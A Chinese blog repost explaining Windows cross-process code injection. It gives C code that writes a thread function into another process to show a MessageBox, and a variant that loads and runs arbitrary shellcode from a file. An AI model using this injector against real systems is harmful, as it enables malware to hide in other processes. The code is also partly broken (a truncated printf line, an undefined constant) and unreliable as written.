代码注入技术

转载 2015年11月18日 17:47:52

代码注入相对DLL注入来说更加隐蔽,但是对技术的要求要更高,个人以为代码注入最好注入稳定的Shellcode。代码注入需要用到的API有VirtualAllocEx、WriteProcessMemory、CreateRemoteThread,类似于DLL注入。通常VirtualAllocEx和WriteProcessMemory会被调用两次,分别是处理线程函数以及线程函数参数,然后通过调用CreateRemoteThread来执行代码。当如如果是注入Shellcode就只要调用一次就够了,如果是注入线程函数,需要正确的计算函数的大小,通过#pragma check_stack指令来实现(静态函数、同时关闭增量链接、Release版本)。下面的代码是一个演示弹出MessageBox的代码注入:

// CodeInjector.h
#ifndef _CODE_INJECTOR_H__
#define _CODE_INJECTOR_H__
 
#include <windows.h>
 
#define CHECK_NULL_RET(bCondition) if (!bCondition) goto Exit0
 
#define REMOTE_ALLOC_SIZE (1024 * 4)
 
#endif

// Main.cpp
// Author: 代码疯子
// Blog: http://www.programlife.net/
#include <stdio.h>
#include <string.h>
#include "CodeInjector.h"
 
typedef struct _INJECT_PARAM
{
	CHAR szMsgTitle[64];
	CHAR szMsgContent[256];
 
	DWORD dwMessageBoxA;
} INJECT_PARAM, *PINJECT_PARAM;
 
#pragma check_stack(off)
static DWORD WINAPI RemoteThreadProc(LPVOID lpParameter)
{
	typedef int (WINAPI *PFN_MessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
	PINJECT_PARAM lpParam = (PINJECT_PARAM)lpParameter;
	PFN_MessageBoxA pfnMessageBoxA = (PFN_MessageBoxA)lpParam->dwMessageBoxA;
 
	pfnMessageBoxA(NULL, lpParam->szMsgContent, lpParam->szMsgTitle, MB_ICONWARNING);
 
	return TRUE;
}
 
static void AfterRemoteThreadProc(void){ return ;}
#pragma check_stack
 
BOOL EnableDebugPrivilege(void)
{
	HANDLE hToken; 
	TOKEN_PRIVILEGES tkp;
	BOOL bRet = FALSE;
 
	bRet = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
	CHECK_NULL_RET(bRet);
 
	bRet = LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
	CHECK_NULL_RET(bRet);
	tkp.PrivilegeCount = 1;  
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 
 
	bRet = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0);
	CHECK_NULL_RET(bRet);
	bRet = TRUE;
 
Exit0:
	CloseHandle(hToken);
	return bRet;
}
 
BOOL InjectCode(DWORD dwPid)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
	DWORD dwThreadProcSize = 0;
	INJECT_PARAM stParam = {0};
	LPVOID lpParam = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	// Allocate memory for ThreadProc
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwThreadProcSize = (BYTE *)AfterRemoteThreadProc - (BYTE *)RemoteThreadProc;
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)RemoteThreadProc, 
				dwThreadProcSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	HMODULE hUser32 = LoadLibrary(TEXT("user32.dll"));
	stParam.dwMessageBoxA = (DWORD)GetProcAddress(hUser32, "MessageBoxA");
 
	strcpy(stParam.szMsgTitle, "Just a Test");
	strcpy(stParam.szMsgContent, "Http://Www.ProgramLife.Net/");
 
	// Allocate memory for parameter
	lpParam = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_PARAM), 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpParam);
 
	bRet = WriteProcessMemory(hProcess, lpParam, (LPVOID)&stParam, 
		sizeof(stParam), &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				lpParam,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	if (NULL != lpParam)
	{
		VirtualFreeEx(hProcess, lpParam, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}
 
int main(int argc, char **argv)
{
	if (argc != 2)
	{
		printf("Usage: %s PID\n",
		return 1;
	}
 
	DWORD dwPid = atoi(argv[1]);
	InjectCode(dwPid);
 
	return 0;
}
恶意软件跨进程代码注入技术


如果是直接注入Shellcode,只需要为Shellcode分配空间,然后调用CreateRemoteThread执行即可。

DWORD ReadShellcode(BYTE *pShellcode, CHAR *szShellcode)
{
	HANDLE hFile = CreateFileA(
						szShellcode,
						GENERIC_READ,
						FILE_SHARE_READ,
						NULL,
						OPEN_EXISTING,
						FILE_ATTRIBUTE_NORMAL,
						NULL);
 
	DWORD dwSize = GetFileSize(hFile, NULL);
	DWORD dwRead = 0;
 
	ReadFile(hFile, (LPVOID)pShellcode, dwSize, &dwRead, NULL);
	CloseHandle(hFile);
 
	return dwRead;
}
 
// szShellcode为Shellcode文件Path
BOOL InjectCode(DWORD dwPid, CHAR *szShellcode)
{
	BOOL bRet = FALSE;
	HANDLE hProcess = NULL;
	LPVOID lpThreadProc = NULL;
	BYTE pShellcode[SHELL_CODE_SIZE] = {0};
	DWORD dwShellcodeSize = 0;
	DWORD dwResult = 0;
	HANDLE hThread = NULL;
 
	bRet = EnableDebugPrivilege();
	CHECK_NULL_RET(bRet);
 
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
	CHECK_NULL_RET(bRet);
 
	lpThreadProc = VirtualAllocEx(hProcess, NULL, REMOTE_ALLOC_SIZE, 
		MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	CHECK_NULL_RET(lpThreadProc);
 
	dwShellcodeSize = ReadShellcode(pShellcode, szShellcode);
	bRet = WriteProcessMemory(hProcess, lpThreadProc, (LPVOID)pShellcode, 
				dwShellcodeSize, &dwResult);
	CHECK_NULL_RET(bRet);
 
	hThread = CreateRemoteThread(
				hProcess,
				NULL,
				0,
				(LPTHREAD_START_ROUTINE)lpThreadProc,
				NULL,
				0,
				NULL);
	CHECK_NULL_RET(hThread);
 
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
 
Exit0:
	if (NULL != lpThreadProc)
	{
		VirtualFreeEx(hProcess, lpThreadProc, 0, MEM_RELEASE);
	}
	CloseHandle(hProcess);
	return bRet;
}

一篇说明一些细节的文章:http://hi.baidu.com/lufa2014/blog/item/f5a249cbee31e71ebe09e685.html

代码注入的三种方法

目录 Windows 钩子 CreateRemoteThread 和 LoadLibrary 技术 ――进程间通信 CreateRemoteThread 和 WriteProc...
  • songjinn
  • songjinn
  • 2013年12月02日 11:01
  • 10442

Android安全:代码注入

一、常用的Smail注入代码 在逆向分析APK文件的时候,我们往往需要注入一些自己的代码方便调试,如增加调试Log信息等。常用的Smail注入代码如下: 1.增加调试Log信息: Log.i("...
  • p106786860
  • p106786860
  • 2016年11月25日 05:18
  • 2054

代码注入的三种方法

目录 Windows 钩子 CreateRemoteThread 和 LoadLibrary 技术 ――进程间通信 CreateRemoteThread 和 WriteProcessMemor...
  • angel725
  • angel725
  • 2013年02月17日 13:20
  • 1224

windows-CODE注入(远程线程注入)

远程线程注入
  • u013761036
  • u013761036
  • 2016年08月14日 17:25
  • 2561

动态注入技术

我们在讨论动态注入技术的时候,APIHook的技术由来已久,在操作系统未能提供所需功能的情况下,利用APIHook的手段来实现某种必需的功能也算是一种不得已的办法。在Windows平台下开发电子词典的...
  • jiabailong
  • jiabailong
  • 2016年08月30日 11:57
  • 2441

Android平台的 Ptrace, 注入, Hook 全攻略

Android平台上的Ptrace已经流行很久了,我记得最早的时候是LBE开始使用Ptrace在Android上做拦截,大概三年前我原来的同事yuki (看雪上的古河) 写了一个利用Ptrace注入的...
  • heikefangxian23
  • heikefangxian23
  • 2016年06月03日 16:25
  • 2992

win7 64bit下远程线程注入技术(进程劫持入门技术)

http://blog.csdn.net/arvon2012/article/details/7766439本文是配合上文学习和使用的。上文中,最后,我们生成了可以hook api的dll,那么怎么把...
  • MaxWoods
  • MaxWoods
  • 2015年04月22日 14:13
  • 2408

游戏注入教程(二)--HOOK注入

一、我们新建一个win32的dll,用来注入到游戏进程当中,注入成功的时候,会提示“注入成功”,而且提示注入到哪个窗口。 代码如下: // dllmain.cpp : 定义 DLL 应用程序的入口点...
  • wyansai
  • wyansai
  • 2016年07月31日 18:21
  • 1987

注入攻击-SQL注入和代码注入

注入攻击代指一类攻击,它们通过注入数据到一个网络应用程序以期获得执行,亦或是通过非预期的一个方式来执行恶意数据。这种类别的攻击包括跨站脚本攻击(XSS)、SQL 注入攻击、头部注入攻击、日志注入攻击和...
  • wangpeng198688
  • wangpeng198688
  • 2016年03月18日 16:29
  • 884

pdo调用方法以及防sql注入原理

前言 在web站点中,经常会遇到各种各样的网络攻击,其中sql注入是非常常见的一种,所以需要对sql注入进行防护。 目前许多站点服务端基本采用php+mysql的方式。对应php连接mysq而言,...
  • dengjiexian123
  • dengjiexian123
  • 2016年12月24日 22:15
  • 12079
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:代码注入技术
举报原因:
原因补充:

(最多只允许输入30个字)